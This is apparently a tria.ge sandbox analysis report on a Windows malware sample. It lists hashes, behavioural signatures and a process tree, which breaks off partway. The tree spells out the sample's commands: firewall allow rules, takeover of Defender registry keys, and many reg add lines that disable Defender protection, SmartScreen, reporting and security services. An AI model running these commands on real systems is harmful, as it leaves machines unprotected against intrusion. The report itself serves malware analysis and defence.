Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/12/2024, 13:57

General

  • Target

    13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe

  • Size

    2.5MB

  • MD5

    4fb8a3b07100f5fec8a75931cae24c05

  • SHA1

    3ac325d26f6bd89f5bf77acd082cbca4f9296c68

  • SHA256

    13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52

  • SHA512

    68b2b45e32bc2a65f02b076addf50aca27b6742c0dfcc96ee06f463f344f2b43641ab08b5396cdddeac677ba85607f184e293d8b63b739e904273367b4ae3fd0

  • SSDEEP

    49152:RNg6ex2uF+sfC0sJfPT2Xs2WyexyCfXHHVz6UWimMVUiPCqsnaVnHB4lmtpQ3l5w:RVo2wfqNSoyc0G7r6XnaVn/tW5w

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 14 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 4 IoCs
  • Modifies security service 2 TTPs 4 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 62 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Modifies Security services 2 TTPs 10 IoCs

    Modifies the startup behavior of a security service.

  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
    "C:\Users\Admin\AppData\Local\Temp\13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:4196
    • C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:548
    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx40_Full_setup.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx40_Full_setup.exe" /q /norestart
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3452
      • C:\95d966661e0d51cda69113c4af72\Setup.exe
        C:\95d966661e0d51cda69113c4af72\\Setup.exe /q /norestart /x86 /x64 /ia64 /web
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:396
    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx45_Full_setup.exe
      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\dotNetFx45_Full_setup.exe" /q /norestart
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2548
      • C:\b4b7e8e94413ca0cb56fc4d8f0\Setup.exe
        C:\b4b7e8e94413ca0cb56fc4d8f0\\Setup.exe /q /norestart /x86 /x64 /web
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1748
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bn.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4284
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3064
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bnz.bat
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5064
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
        3⤵
        • Executes dropped EXE
        • Windows security modification
        • Suspicious use of AdjustPrivilegeToken
        PID:2948
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
        3⤵
        • Executes dropped EXE
        • Windows security modification
        • Suspicious use of AdjustPrivilegeToken
        PID:2976
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1020
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2896
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1740
      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\SetACL64.exe
        SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2212
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
        3⤵
          PID:644
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
          3⤵
            PID:4712
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:660
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
            3⤵
              PID:4088
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
              3⤵
                PID:2132
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1284
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2460
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
                3⤵
                • System Location Discovery: System Language Discovery
                PID:4864
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
                3⤵
                  PID:600
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:452
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:3992
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
                  3⤵
                    PID:1816
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1132
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bnn.bat
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:4544
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2268
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:920
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
                    3⤵
                      PID:2524
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2516
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
                      3⤵
                        PID:3332
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bnoo1.bat
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:2964
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:2340
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
                        3⤵
                          PID:4136
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:4476
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:4252
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:1392
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:840
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2844
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:4636
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:1992
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:1632
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:4972
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2600
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
                            3⤵
                              PID:4244
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
                              3⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • System Location Discovery: System Language Discovery
                              PID:8
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
                              3⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:2956
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
                              3⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • System Location Discovery: System Language Discovery
                              PID:236
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
                              3⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • System Location Discovery: System Language Discovery
                              PID:4648
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
                              3⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • System Location Discovery: System Language Discovery
                              PID:2488
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
                              3⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:2136
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
                              3⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • System Location Discovery: System Language Discovery
                              PID:1748
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:2672
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:3796
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:2068
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\bn1.bat
                            2⤵
                              PID:3752
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:532
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
                                3⤵
                                  PID:3436
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1084
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4484
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1852
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
                                  3⤵
                                    PID:2800
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1320
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4240
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3452
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
                                    3⤵
                                      PID:4356
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4640
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2996
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4280
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
                                      3⤵
                                        PID:3300
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4428
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2944
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:3516
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4284
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
                                        3⤵
                                          PID:4696
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:2484
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:4248
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:1988
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
                                          3⤵
                                            PID:5064
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:1144
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4920
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
                                            3⤵
                                              PID:2976
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
                                              3⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1756
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
                                              3⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4724
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
                                              3⤵
                                                PID:1552
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:1740
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
                                                3⤵
                                                • Modifies Windows Defender notification settings
                                                • System Location Discovery: System Language Discovery
                                                PID:3504
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
                                                3⤵
                                                • Modifies Windows Defender notification settings
                                                PID:3620
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:628
                                              • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                3⤵
                                                • Executes dropped EXE
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2464
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                  4⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3724
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                    5⤵
                                                    • Executes dropped EXE
                                                    • Modifies data under HKEY_USERS
                                                    PID:3100
                                                    • C:\Windows\System32\reg.exe
                                                      "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                      6⤵
                                                        PID:3948
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3584
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
